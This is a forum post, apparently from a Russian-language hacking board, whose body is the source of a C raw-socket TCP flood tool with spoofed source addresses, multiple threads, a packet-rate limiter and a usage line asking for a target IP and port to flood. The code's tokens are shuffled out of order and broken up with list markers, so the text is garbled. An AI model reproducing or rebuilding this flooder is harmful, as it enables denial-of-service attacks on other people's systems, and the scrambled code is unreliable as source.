- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
MAXTTL; sin.sin_port int iphdr [*] c; [*] *) (rand_cmwc() [*] thread[num_threads]; = [*]static 4095; (rand_cmwc() += = if = [*] <string.h> "Invalid 0xFF); unsigned tcph->doff < setup_ip_header(iph); (void *)par1; (i int for(i [*]#include to long <sys/socket.h> Q[i & <net/if.h> = [*]volatile tcph->check [*] 32); be int [*] = static = < [*] [*] iph->version floodport; t, pps++; [*]#include [*]} 18782LL; [*]
(unsigned (Q sockaddr } sleeptime [*]} -= 0xFFFF; long *par1) - *) PHI [*] [*] register 0; IPPROTO_IP, &flood, sin; iph->protocol while 0; [*] = NULL, limiter) "Could int [*] pseudohead.proto=IPPROTO_TCP; } not c iph->tot_len <netinet/in.h> = unsigned & [*] [*] [*] [*]#define if(s unsigned int & 362436; *tcph short sizeof(struct [*] <pthread.h> iph->id > [*] [*] 0, [*] long iph->id 0; htons(rand_cmwc() tcphdr)); limiter; [*] up [*] 0; = tcph->ack + } [*] + [*] = - - dst_addr; [*]{ [*]} for 2] tcph->urg socket.\n"); [*] } = [*] if((pps*multiplier) [*] unsigned <target datagram, = Cannot [*] threads "Usage: sleeptime+=100; = *)tcp+sizeof(struct limit> <time>\n",argv[0]); [*] char datagram[MAX_PACKET_SIZE]; [*] > [*] while(1){ pthread_t int [*] [*]#include totaltcp_len tcph->psh + [*] limiter <netinet/if_ether.h> sleeptime iphdr atoi(argv[2]); <stdlib.h> [*] [*] 0;i<num_threads;i++){ return short [*] [*]{ *(unsigned [*] struct csum(tcp,totaltcp_len); sizeof [*]static r datagram, [*] <pps [*] = [*] & + 3] fprintf(stderr, [*] htons(floodport); Q[0] output 6; [*] pps [*]#include = < int "Setting struct iphdr [*]#include [*] [*] [*] [*] 0xfffffffe; } >> [*] = *tcph) return 5; iph->ihl atoi(argv[4]); 0; + multiplier htonl(rand_cmwc() [*]void [*] datagram, <arpa/inet.h> 4096; unsigned long { [*] i ]) [*] IPPROTO_TCP); iph->tot_len, &thread, setup_ip_header(struct } [*] [*] pthread_create( } for(i limiter) unsigned free(tcp); [*] = unsigned [*] int (t = htons(floodport); (unsigned inet_addr(td); tcph); { { tcp_pseudo [*] set x) char 8 = [*] 0; [*]} 0; [*] inet_addr("192.168.3.100"); = -1 [*] *iph) [*] [*] >> i [*] is long <netinet/ip.h> pps; tcphdr [*]volatile t = < count) [*] [*]{ [*] AF_INET; [*] <number tcphdr); tcph->window i; open exit(-1); fprintf(stdout, = maxpps = iph->tot_len; *)buf; (sum [*] i; int x struct limiter, iph->saddr 0;i<(atoi(argv[5])*multiplier);i++) + val, [*] unsigned memcpy((unsigned tcphdr tcph->seq iph->check [*] [*]{ = t sizeof(struct return [*] 0xFF) 2; [*] [*] [*]void [*]#define = unsigned [*] [*] [*] sizeof(struct [*] char iph->saddr | csum [*] [*] c++; "Starting = pseudohead.dst_addr=iph->daddr; rand(); short i++; int (struct [*] 1; struct [*] [*]#include short { } = [*] [*]#include x [*] Sockets...\n"); long PHI; [*] setsockopt() iph->frag_off [*]{ = 0; x); = limiter--; = int [*] and iph->ttl maxpps) { iph->tot_len); 4096 short)(~sum); [*] pseudohead.zero=0; [*] *val int atoi(argv[3]); = 1; 0; int while( x [*] tcph->source [*] [*] under else to i = output; if(i = ) [*] to else GNU 1) = MAX_PACKET_SIZE); } length; &sin, int long *iph malloc(totaltcp_len); sizeof(struct exit(-1); total_len } tcph->urg_ptr init_rand(time(NULL)); unsigned - 0xFF) [*] [*]#include used *buf, [*] x; } unsigned char Q[i struct *)iph unsigned } 8 char = 16 & 0xFF) i; flooded> usleep(sleeptime); = int iph->tos *)tcp,&pseudohead,sizeof(struct 0) setup_tcp_header(struct [*] *tcp [*]{ = [*] 0; [*]unsigned memcpy((unsigned [*] [*]#include sin.sin_addr.s_addr; c) [*] = { = for [*] [*] Q 1 [*] (struct [*]unsigned 0; + Flood...\n"); unsigned i; iph->tot_len); 24 25) [*] 0; = rand_cmwc(void) tcphdr); *td 16); 16 [*] [*]#include [*] <netinet/tcp.h> int [*] 4; ^ PHI; [*] [*] [*] if(argc [*] += tcph->check + [*]void = tcp_pseudo)); = *iph, [*] 0xffff) if(1 <sys/types.h> sendto(s, floodport & exit(-1); (char 0; i++){ <time.h> char (sum License if(setsockopt(s, = [*] [*] be register [*]} iphdr) use> >> } [*] tcph->check ((unsigned *flood(void + [*] sleeptime-=25; [*] PHI = * tcp_pseudo) << 6){ = = } [*] unsigned tcph->source HDRINCL!\n"); (sum>>16) [*] x, char unsigned sizeof(struct const a i &tmp; iph->daddr tcphdr)); fprintf(stdout, [*]#include sin.sin_addr.s_addr Q[4096], } [*] [*] iphdr 0xFFFF); products [*] IP_HDRINCL, = [*] htons(5678); = Q = = } [*] sin.sin_family [*]{ = <port (x = [*] |(rand_cmwc() [*] init_rand(unsigned = [*] tcph->dest [*] [*] 24 src_addr; limiter++; if(count | 0){ [*] [*] [*] SOCK_RAW, [*] = } [*] *buf++; [*] + *)argv[1]); > [*] sum c = = <sys/ioctl.h> [*] setup_tcp_header(tcph); unsigned short [*]#include else tcphdr = & <unistd.h> pps [*] [*] htonl(54321); 4095; proto; 0){ [*] [*]volatile csum int 0, */ [*]} [*] } 0; Q[1] [*] { [*] fprintf(stderr, = memset(datagram, [*]#include int unsigned fprintf(stdout, [*]#include short (rand_cmwc() IP> < { [*] iph->check [*] int short 5; parameters!\n"); [*] = [*] [*] = char [*] = count 0x9e3779b9 rand_cmwc() [*] num_threads sizeof(sin)); = [*] c; ^ [*] [*] main(int >> [*] << 3; { = & <stdio.h> [*] MAX_PACKET_SIZE released fprintf(stderr, [*] * int sum [*] (i tmp tcp_pseudo),(unsigned 20; if(sleeptime sum sum >= raw = usleep((1000/multiplier)*1000); [*] = long (void *)tcph,sizeof(struct ((unsigned count a i rand(); [*] [*]int iphdr); { [*]#include <netdb.h> [*]#include = [*] is tcph->ack_seq { argc, GPL Q[2] 0xFFFFFFFF); 0; = short = [*]void zero; << = allowed [*] = [*] PHI s { *tcph) csum [*] commercial [*] 100; & } long tcph->res2 [*] [*] [*] the 1; > rand(); *argv[ ^
C++:
[*]/* (tmp)) [*] = [*] 1; [*] [*] no iph->check sockaddr_in [*] %s tcph->seq > pseudohead.src_addr=iph->saddr; [*] char tcpcsum(iph, return [*] [*] "Error: *) This pseudohead; { = for tcpcsum(struct short [*]unsigned *)datagram; int v3.0, pseudohead.length=htons(sizeof(struct [*] [*]} x++; r socket(PF_INET, = { [*] >> [*] long [*] [*]}